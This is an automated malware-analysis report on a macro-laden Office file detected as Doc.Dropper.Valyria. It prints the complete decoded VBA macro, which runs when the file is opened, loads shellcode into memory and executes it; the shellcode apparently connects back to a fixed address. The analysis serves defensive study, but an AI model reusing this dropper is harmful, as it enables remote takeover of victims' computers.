MALICIOUS
124
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1140 Deobfuscate or Obfuscate
The file contains VBA macros, including AutoOpen and Workbook_Open, which are commonly used to execute malicious code upon opening. The script utilizes VirtualAlloc and CreateThread, indicating it allocates memory and executes shellcode. The ClamAV detection name 'Doc.Dropper.Valyria-6680543-0' suggests this is a dropper for a second-stage payload.
Heuristics 6
-
ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
-
Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOCReference to VirtualAlloc API
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Sub Sub AutoOpen() Auto_Open -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
End Sub Sub Workbook_Open() Auto_Open -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Sub Auto_Open() Dim Ucs As Long, Nfyla As Variant, Llok As Long
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4069 bytes |
SHA-256: 85e0a47e7e57b83eaf384b2209290d44aa37efe041a3f2ba65ea7ff877b8994e |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
#If VBA7 Then
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Kneildii As Long, ByVal Ldo As Long, ByVal Aprxvp As LongPtr, Ogncexspt As Long, ByVal Kqwbpftz As Long, Egdf As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Fseqhhge As Long, ByVal Dwffxbi As Long, ByVal Hdlvcohy As Long, ByVal Ciql As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Lvh As LongPtr, ByRef Lqntivcb As Any, ByVal Wqkatdyzd As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib "kernel32" (ByVal Kneildii As Long, ByVal Ldo As Long, ByVal Aprxvp As Long, Ogncexspt As Long, ByVal Kqwbpftz As Long, Egdf As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Fseqhhge As Long, ByVal Dwffxbi As Long, ByVal Hdlvcohy As Long, ByVal Ciql As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Lvh As Long, ByRef Lqntivcb As Any, ByVal Wqkatdyzd As Long) As Long
#End If
Sub Auto_Open()
Dim Ucs As Long, Nfyla As Variant, Llok As Long
#If VBA7 Then
Dim Pxwafvi As LongPtr, Wgasz As LongPtr
#Else
Dim Pxwafvi As Long, Wgasz As Long
#End If
Nfyla = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 51, 50, 0, 0, 104, 119, 115, 50, 95, 84, 104, 76, 119, 38, 7, 255, 213, 184, 144, 1, 0, 0, 41, _
196, 84, 80, 104, 41, 128, 107, 0, 255, 213, 106, 10, 104, 192, 168, 1, 133, 104, 2, 0, 0, 139, 137, 230, 80, 80, 80, 80, 64, 80, 64, 80, 104, 234, 15, 223, 224, 255, 213, 151, 106, 16, 86, 87, 104, 153, 165, 116, 97, 255, 213, 133, 192, 116, 12, 255, 78, 8, 117, 236, 104, 240, 181, 162, 86, 255, 213, 106, 0, 106, 4, 86, 87, 104, 2, 217, 200, 95, 255, 213, _
139, 54, 106, 64, 104, 0, 16, 0, 0, 86, 106, 0, 104, 88, 164, 83, 229, 255, 213, 147, 83, 106, 0, 86, 83, 87, 104, 2, 217, 200, 95, 255, 213, 1, 195, 41, 198, 117, 238, 195)
Pxwafvi = VirtualAlloc(0, UBound(Nfyla), &H1000, &H40)
For Llok = LBound(Nfyla) To UBound(Nfyla)
Ucs = Nfyla(Llok)
Wgasz = RtlMoveMemory(Pxwafvi + Llok, Ucs, 1)
Next Llok
Wgasz = CreateThread(0, 0, Pxwafvi, 0, 0, 0)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.